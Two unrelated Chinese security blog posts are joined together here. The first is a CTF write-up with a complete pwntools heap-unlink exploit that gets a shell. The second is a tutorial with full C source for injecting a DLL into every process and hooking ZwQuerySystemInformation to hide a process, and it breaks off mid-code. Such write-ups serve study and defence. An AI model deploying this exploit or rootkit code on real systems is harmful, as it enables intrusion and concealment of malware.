一筐萝卜➜ test ./test_1
123↙
c↙
a = 123, b = 0x63
可以看出来fflush的效果，那么现在跟进源码来看fflush是怎么处理的
> 此glibc源码的版本是2.23
`/glibc-2.23/libio/iofflush.c:31`
int
_IO_fflush (_IO_FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
libc_hidden_def (_IO_fflush)
在这段代码里面最关键的就是调用了`vtable`中的`_IO_new_file_sync`函数,在这个函数中将标准输入流（`stdin`）刷新
`/glibc-2.23/libio/fileops.c:867`
int
_IO_new_file_sync (_IO_FILE *fp)
{
_IO_ssize_t delta;
int retval = 0;
/* char* ptr = cur_ptr(); */
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_do_flush(fp)) return EOF;
delta = fp->_IO_read_ptr - fp->_IO_read_end;
if (delta != 0)
{
#ifdef TODO
if (_IO_in_backup (fp))
delta -= eGptr () - Gbase ();
#endif
_IO_off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
if (new_pos != (_IO_off64_t) EOF)
fp->_IO_read_end = fp->_IO_read_ptr;
#ifdef ESPIPE
else if (errno == ESPIPE)
; /* Ignore error from unseekable devices. */
#endif
else
retval = EOF;
}
if (retval != EOF)
fp->_offset = _IO_pos_BAD;
/* FIXME: Cleanup - can this be shared? */
/* setg(base(), ptr, ptr); */
return retval;
}
libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)
另一个重要的函数就是`setbuf`和`setvbuf`，这两个函数都是用来在程序中设置缓冲机制的。具体的用法可以到菜鸟教程上详细的学习。
[setbuf](https://www.runoob.com/cprogramming/c-function-setbuf.html)
[setvbuf](https://www.runoob.com/cprogramming/c-function-setvbuf.html)
## 例子（2019SSCTF攻防赛-pwn）
该程序只开启了NX（堆栈不可执行）保护
一筐萝卜➜ sscft checksec --file tinypad
[*] '/root/sscft/tinypad'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖到IDA中分析代码，main函数一目了然，典型的菜单题
在edit中存在任意长度输入，可造成堆溢出
int edit_node()
{
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to edit:");
__isoc99_scanf((__int64)"%d", (__int64)&v2);
printf("please enter the length of the input:", &v2);
__isoc99_scanf((__int64)"%d", (__int64)&v1);
getchar();
printf("please enter the contents of the node:", &v1);
fread(name[v2], v1, 1uLL, stdin);
return puts("edit compete!");
}
在delete中存在UAF
int delete_node()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to create:");
__isoc99_scanf((__int64)"%d", (__int64)&v1);
free(name[v1]);
return puts("delete complete!");
}
我们利用堆溢出来伪造chunk，如图所示
然后delete第二个chunk，进而触发`Unlink-Exploit`
成功达到bss段上`name`的区域可控，第二步泄露libc地址，第三步覆盖`malloc_got`地址为后门函数的地址
最后调用create，获取到shell
可以看出来对该程序漏洞的利用并不难，但是由于该程序没有设置无缓冲，在pwn远程的时候没有回显，在比赛的时候没能打通远程服务器
我在本地搭建了该题目的环境，nc连接的时候同样是无回显
经过一番测试之后，发现如果把脚本中所有的`recv`函数都去掉之后，按照顺序发送`payload`，最后也能getshell。
完整exp：
from pwn import *
context.log_level = 'debug'
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+":"+hex(x))
ri = lambda : r.interactive()
def create(index):
# ru("---------------------------")
sl(str(1))
sl(str(index))
# ru("create complete")
def delete(index):
# ru("---------------------------")
sl(str(3))
sl(str(index))
def edit(index,size,content):
# ru("---------------------------")
sl(str(2))
sl(str(index))
sl(str(size))
sl(content)
def tiaoshi():
gdb.attach(r)
raw_input()
def show(index):
# ru("---------------------------")
sl(str(4))
# ru("enter the index of the node you want to create:")
sl(str(index))
# r = process("./tinypad")
# r = remote("192.168.10.85",2019)
r = remote("127.0.0.1",5556)
file = ELF("./tinypad")
shell = 0x0000000004009B6
malloc_got = file.got['malloc']
free_got = file.got['free']
create(0)
create(1)
target = 0x0000000006012A0
fd = target-0x18
bk = target-0x10
payload = "a"*8+p64(0x81)+p64(fd)+p64(bk)+"a"*0x60+p64(0x80)+p64(0x90)
edit(0,0x90,payload)
delete(1)
payload = "a"*24+p64(0x6012A0)+p64(malloc_got)+p64(free_got)
edit(0,0x31,payload)
payload = p64(shell)
create(4)
edit(1,0x8,payload)
# ru("---------------------------")
sl(str(1))
sl(str(5))
ri()
## 总结
虽然在这次比赛中没能用pwn题得分，但是总结了这次失败的经验和教训，总的来说收获还是挺大的。
本文如有不妥之处，敬请斧正。
## 参考文献
[Otokaze](https://www.zfl9.com/c-buffer.html)
[IO缓冲区](https://blog.csdn.net/qq_26369213/article/details/46484167)
[输入输出缓冲区和流的概念理解](http://www.cppblog.com/gujiayue/archive/2016/05/27/213595.html)
[BUFFER缓冲区 和 CACHE缓存区
的区别](https://blog.csdn.net/crzzyracing/article/details/62886939) | 社区文章 |
# 概述：
经过上一篇文章对DLL注入实现API钩取的学习，现在已经对API钩取有了一个全局上的认知。对实现API钩取的几种方法都有了一定了解。本篇文章将分享有关于进程隐藏功能的代码实现。
本篇分享的源码总共有三个版本，分别是：stealth.dll stalth2.dll
stealth3.dll，完成的功能都是进程隐藏，但是在功能的完整程度上是逐步完善的。
## 原理：
首先是关于什么叫做进程隐藏，其实进程隐藏顾名思义就是将某个进程隐藏起来，无法通过其他进程查看到这个进程。这样的一个过程就叫做进程隐藏，专业术语是Rootkit。而这个操作的根本原理就是通过API钩取来实现的。
在前面学习了对IAT中API进行钩取后，就会存在这样一个问题：如果我们需要钩取的目标API不存在与IAT表，那么应该怎么办？
这里就要使用API代码修改这个方法了。顾名思义， **API代码修改就是将API函数的原始代码进行一定修改（也就是完成挂钩操作）**
，使程序的执行流被劫持到我们自己编写的函数中实现我们期望的功能。
而这个挂钩操作具体的实现主要分为两类：
1. 5字节钩取
2. 7字节钩取
但是这两类挂钩操作的具体实现原理基本上是一致的，都是通过将原始API的起始流程修改为一个无条件跳转指令来控制程序的执行流。比如在5字节钩取时，就是将API函数的起始操作替换为JMP
XXXXXXX，下面将会对这两种钩取方法分别用代码实现来表现。
# 寻找目标API：
由于进程是内核对象，所以在用户模式下的程序可以通过某些API检测到系统中的所有进程，根据前面的学习，可以知道常用的API主要有这两个：
1. CreateToolhelp32Snapshot：获取系统快照，其中包含了所有的进程信息
2. EnumProcess：枚举所有的进程信息
根据网上的信息，这两个API都在内部调用了一个叫做ZwQuerySystemInformation的API函数。而这个API函数就是此次操作的目标函数。
ZwQuerySystemInformation()可以获取运行中的所有进程信息（在Windows编程中被解释为一个结构体：_SYSTEM_PROCESS_INFORMATION），每个进程的结构体会形成一个单向链表，可以通过遍历这个链表来遍历系统中所有的进程信息。之后只需要查找到这个进程链表中需要隐藏的目标进程的相关信息就可以通过在链表中跳过这个成员的信息就可以达到“进程隐藏”的效果
# HideProc.exe：
首先是注入程序的注释及源码：
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
enum Mode //定义一个枚举类型，分为注入和卸载两种情况
{
INJECT_MODE = 0, EJECT_MODE
};
typedef void(*PFSetProcName) (LPCTSTR lpProcName); //typedef一个void类型的函数指针，后面用于在本程序中调用SetProcName函数
BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!\n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!\n");
return TRUE;
}
}
BOOL inject(DWORD dwPID, LPCTSTR szDllPath) //注入函数
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
DWORD dwError = 0;
if (!(hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
dwError = GetLastError();
printf("OpenProcess failed!\n");
return FALSE;
}
lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存
WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数（即DLL路径）
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程
if (!hThread)
{
printf("CreateRemoteThread failed!\n");
CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
BOOL Eject(DWORD dwPID, LPCTSTR szDllPath) //卸载DLL函数
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
BOOL bMore = FALSE;
BOOL bFound = FALSE;
LPTHREAD_START_ROUTINE pThreadProc;
MODULEENTRY32 me = {sizeof(MODULEENTRY32)};
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!\n");
return FALSE;
}
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed!\n");
CloseHandle(hProcess);
return FALSE;
}
bMore = Module32First(hSnapshot, &me);
for (; bMore;bMore = Module32Next(hSnapshot, &me)) //遍历目标进程模块列表找到目标进程中是否载入了该DLL
{
if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath))
{
bFound = TRUE;
break;
}
}
if (!bFound)
{
printf("Dll no found!\n");
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, (LPVOID)me.modBaseAddr, 0, NULL);
if (!hThread)
{
printf("Eject failed!\n");
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hSnapshot);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) //统括管理注入函数与卸载函数，完成在每一个进程中注入或是卸载DLL
{
DWORD dwPID = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (!(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL))) //拍摄所有进程的快照
{
printf("CreateToolhelp32Snapshot failed!\n");
return FALSE;
}
Process32First(hSnapshot, &pe);
do
{
dwPID = pe.th32ProcessID;
if (dwPID < 100) //对于PID小于100的系统进程略过注入操作，防止系统安全性受影响
continue;
if (nMode == INJECT_MODE)
{
if (!(inject(dwPID, szDllPath)))
{
printf("%d inject failed!\n", dwPID);
}
}
else if (nMode == EJECT_MODE)
{
if (!Eject(dwPID, szDllPath))
{
printf("%d Eject failed!\n", dwPID);
}
}
} while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int nMode = 0;
HMODULE hModule = NULL;
PFSetProcName SetProcName = NULL;
EnableDebugPriv();
hModule = LoadLibrary(argv[3]); //加载stealth.dll
SetProcName = (PFSetProcName)GetProcAddress(hModule, "SetProcName"); //从stealth.dll中获取SetProcName函数的真实地址
SetProcName(argv[2]); //在注入程序中调用SetProcName，将需要隐藏的目标进程的名字存入DLL文件的全局变量中
//在DLL中会设置共享内存区域，所以这里可以直接调用该函数设置目标进程的名字
if (!_wcsicmp(argv[1], L"hide"))
{
nMode = INJECT_MODE;
InjectAllProcess(nMode, argv[3]);
}
else if(!_wcsicmp(argv[1],L"show"))
{
nMode = EJECT_MODE;
InjectAllProcess(nMode, argv[3]);
}
FreeLibrary(hModule);
return 0;
}
程序的主要功能就是完成注入DLL和卸载DLL的操作。inject和Eject的操作在前面的文章中已经解析过了，这里只放源码就不在做过多赘述。
# stealth.dll：
首先是源码和对应注释：
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#define DLLNAME (L"ntdll.dll")
#define FUNCNAME ("ZwQuerySystemInformation")
#define STATUS_SUCCESS (0x00000000L) //NTSTATUS中表示成功的数值为0
#pragma comment(linker,"/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, }; //设置一个共享节区，与注入程序共享需要隐藏进程的名称字符串
#pragma data_seg()
BYTE g_OrgBytes[5] = { 0, }; //全局变量用于存储目标API位置上的原始字节
//typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION) //关于ZwQuerySystemInformation函数的函数申明，后面会调用这个函数
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
BOOL hook_code(LPCTSTR szDllName,LPCSTR szFuncName,PROC prNew,PBYTE pOrgbyte) //挂钩函数
{
FARPROC prOrg = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
byte Buf[5] = { 0xE9,0, };
PBYTE pByte = NULL;
prOrg = (FARPROC)GetProcAddress(GetModuleHandle(szDllName), szFuncName); //获取需要钩取的API的原始地址
pByte = (PBYTE)prOrg; //将获取到的地址转化为一个指针方便后面的使用
if (pByte[0] == 0xE9) //检查该处是否已处于挂钩状态,如果是则跳过挂钩过程
return FALSE;
VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改5个字节的内存保护权限（因为JMP指令只有5个字节）
memcpy(pOrgbyte, prOrg, 5); //保存原始API开头的5个字节
dwAddress = (DWORD)prNew - (DWORD)prOrg - 5; //计算需要跳转的位置（JMP指令跳转的位置不是绝对地址，而是与当前位置的相对地址）
//相对位置 = 目标位置 - 当前位置 - 指令长度（5字节）
memcpy(&Buf[1], &dwAddress, 4); //获取跳转位置
memcpy(prOrg, Buf, 5); //挂钩操作
VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect); //复原原始内存区域的安全权限
return TRUE;
}
BOOL unhook_code(LPCTSTR szDllName, LPCSTR szFuncName, PBYTE pOrgbyte) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;
pFunc = (FARPROC)GetProcAddress(GetModuleHandle(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;
if (pByte[0] != 0xE9) //判断是否已经处于脱钩状态
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pByte, pOrgbyte, 5); //脱钩操作
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
unhook_code(DLLNAME, FUNCNAME, g_OrgBytes); //先进行脱钩
pFunc = GetProcAddress(GetModuleHandle(DLLNAME), FUNCNAME); //获取原始API的地址
//再次调用这个原始的API函数以获取进程信息
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (status != STATUS_SUCCESS) //当API函数执行不成功时跳转至结束处理
{
goto __NTQUERYSYSTEMINFORMATION_END;
}
if (SystemInformationClass == SystemProcessInformation) //只关注SystemProcessInformation这一个类型的操作
{
//进行SystemProcessInformation的类型转换，现在pCur则是一个指向存储运行中所有进程结构体链表的链表头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
pPrev = NULL;
while (TRUE)
{
//循环比较找到需要隐藏的目标程序的结构体
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
//当找到目标进程时有两种情况：1.下一个节点为0，也就是链表结束 2.下一个节点不为0
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0; //直接把上一个节点的下一个成员值置为0
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将上一个节点指向下一个节点的偏移加上当前节点指向下一个节点的偏移
}
else
pPrev = pCur; //没有匹配到则向下推进
}
if (pCur->NextEntryOffset == 0) //遍历到结尾则退出
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); //将当前的pCur移动至下一个节点
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 函数终止前，再次执行API钩取操作，为下次调用准备
hook_code(DLLNAME, FUNCNAME, (PROC)NewZwQuerySystemInformation, g_OrgBytes);
return status;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szCurentProcName[MAX_PATH] = { 0,};
char* p = NULL;
GetModuleFileNameA(NULL, szCurentProcName, MAX_PATH);
//1.异常处理：如果当前进程名字为HideProc.exe（即注入程序），则终止，不进行钩取。
p = strrchr(szCurentProcName, '\\'); //获得当前进程的应用程序名
if (p != NULL && !_stricmp(p + 1, "HideProc.exe"))
return TRUE;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //进行API钩取
hook_code(DLLNAME, FUNCNAME, (PROC)NewZwQuerySystemInformation, g_OrgBytes);
break;
case DLL_PROCESS_DETACH: //将API进行脱钩，恢复其原始形态
unhook_code(DLLNAME, FUNCNAME, g_OrgBytes);
break;
}
return TRUE;
}
#ifdef __cplusplus //导出函数，即在HideProc.exe中使用到的用于设置g_szProcName的SetProcName函数
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName) //设置导出函数SetProcName，给共享全局变量赋值
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
程序的逻辑大概如下：
1. 挂钩函数（hook_code）
2. 脱钩函数（unhook_code）
3. 钩取后重定义的目标API函数（NewZwQuerySystemInformation）
4. 进行挂钩和脱钩的主函数（DllMain）
下面将对这些函数中比较重要的部分进行解析
## hook_code（unhook_code）：
挂钩与脱钩函数的逻辑和操作比较简单，没有需要特别注意的地方，主要是关于API修改的内容。
由于是要将原始API函数起始的5个字节修改为相应的跳转指令，而无条件跳转指令JMP的机器指令对应的是0xE9，所以在函数中的这个部分：
byte Buf[5] = { 0xE9,0, };
就是对应的跳转指令开始的部分。
还有就是有关具体跳转地址的计算（也就是对应dwAddress）的计算：
跳转地址 = 目标跳转地址 - 当前位置地址 - 指令长度（5字节）
这里可能会有一个问题就是为什么这里的JMP跳转的地址不是直接设置为目标跳转地址呢？
这是由于程序内的跳转是依据当前地址的相对地址进行跳转，而不是直接设置绝对地址进行跳转。
## NewZwQuerySystemInformation：
源码中比较重要的部分就是关于ZwQuerySystemInformation被钩取后执行的自定义函数，也就是NewZwQuerySystemInformation，原始的API函数结构大概如下：
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
这个函数需要调用的四个参数中有两个是自定义的结构体：
* SystemInformationClass
* SystemInformation
分别对应：
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
以及：
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
第一个枚举类型的结构体会根据API的执行结果得到SystemInformation的数据类型，比如在本次操作中所需要的数据类型就是SystemProcessInformation，对应的数值为5。
而第二个数据结构就是储存有关于系统中每个进程的信息，在API函数执行后就可以通过遍历这个数据结构构成的单向链表来找到对应目标进程的进程信息。
## 共享节区：
在程序还会发现有这样一段代码：
#pragma comment(linker,"/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, };
#pragma data_seg()
这是通过设置共享节区的方式与其他程序进行数据的共享。
总所周知，每个程序运行的内存空间在逻辑上是相互隔离的，以保证每个程序数据的独立以及安全。但是如果要在其他程序中调用本程序的数据（比如本次操作中需要将命令行内获得的需要隐藏的目标进程名共享给注入的DLL），可以通过在程序中设置一个共享上的数据节区来完成这个功能。具体写法参考本源码中的这一部分。
# HideProc2.exe：
下面进行的注入和卸载操作进行了一定优化，使用一个另一个版本的注入代码，其源码大概如下：
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
enum Mode //定义一个枚举类型，分为注入和卸载两种情况
{
INJECT_MODE = 0, EJECT_MODE
};
BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!\n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!\n");
return TRUE;
}
}
BOOL inject(DWORD dwPID, LPCTSTR szDllPath) //注入函数
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
DWORD dwError = 0;
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
dwError = GetLastError();
printf("OpenProcess failed!\n");
return FALSE;
}
lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存
WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数（即DLL路径）
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程
if (!hThread)
{
printf("CreateRemoteThread failed!\n");
CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
BOOL Eject(DWORD dwPID, LPCTSTR szDllPath) //卸载DLL函数
{
HANDLE hSnapshot = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
BOOL bMore = FALSE;
BOOL bFound = FALSE;
LPTHREAD_START_ROUTINE pThreadProc;
MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!\n");
return FALSE;
}
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed!\n");
CloseHandle(hProcess);
return FALSE;
}
bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me)) //遍历目标进程模块列表找到目标进程中是否载入了该DLL
{
if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath))
{
bFound = TRUE;
break;
}
}
if (!bFound)
{
printf("Dll no found!\n");
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, (LPVOID)me.modBaseAddr, 0, NULL);
if (!hThread)
{
printf("Eject failed!\n");
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hSnapshot);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) //统括管理注入函数与卸载函数，完成在每一个进程中注入或是卸载DLL
{
DWORD dwPID = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (!(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL))) //拍摄所有进程的快照
{
printf("CreateToolhelp32Snapshot failed!\n");
return FALSE;
}
Process32First(hSnapshot, &pe);
do
{
dwPID = pe.th32ProcessID;
if (dwPID < 100) //对于PID小于100的系统进程略过注入操作，防止系统安全性受影响
continue;
if (nMode == INJECT_MODE)
{
if (!(inject(dwPID, szDllPath)))
{
printf("%d inject failed!\n", dwPID);
}
}
else if (nMode == EJECT_MODE)
{
if (!Eject(dwPID, szDllPath))
{
printf("%d Eject failed!\n", dwPID);
}
}
} while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int nMode = 0;
EnableDebugPriv();
if (!_wcsicmp(argv[1], L"hide"))
{
nMode = INJECT_MODE;
InjectAllProcess(nMode, argv[2]);
}
else if (!_wcsicmp(argv[1], L"show"))
{
nMode = EJECT_MODE;
InjectAllProcess(nMode, argv[2]);
}
return 0;
}
# stealth2.dll：
通过研究上面的stealth.dll的代码会发现一个问题，这里实现的钩取是只针对于系统现在打开的进程，也就是说，当新打开查看其他进程的程序时，是没有注入对应的DLL；进程隐藏的效果就消失了。stealth2.dll的目的就是改进这个功能。
如果要实现这个功能的话就要进行全局钩取了，也就是对系统中所有运行的进程已经将要运行（还没有被实际创建）的进程附加注入效果。要完成这个操作就需要在stealth.dll的基础上再钩取一个API：CreateProcess()。
CreateProcess，顾名思义可以知道这是有关于进程创建的API，它属于kernel32.dll这个库。并且，他拥有A/W两个版本（也就是ASCII版本和Unicode版本），所以当钩取这个API时要注意同时钩取两个版本的API函数。
**当对CreateProcess完成钩取后，系统创建新进程的过程就会被截获，此时只需要对新创建的进程中再次注入DLL即可**
根据网上对这个函数的逆向分析可以知道它其实调用了一个更加底层的API：ntdll.ZwResumeThread()，它只有一个版本的形态所以在某种意义上钩取这个函数是更加合适的。但是这API属于是未被正式公开的API，根据版本可能会发生变化，所以本次操作还是对CreateProcess进行钩取。
首先还是给出相应源码以及注释：
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#define INJECT_DLL (L"stealth2.dll")
#define PROC_TO_HIDE (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L) //NTSTATUS中表示成功的数值为0
BYTE g_OrgByteZwQSI[5] = { 0, };
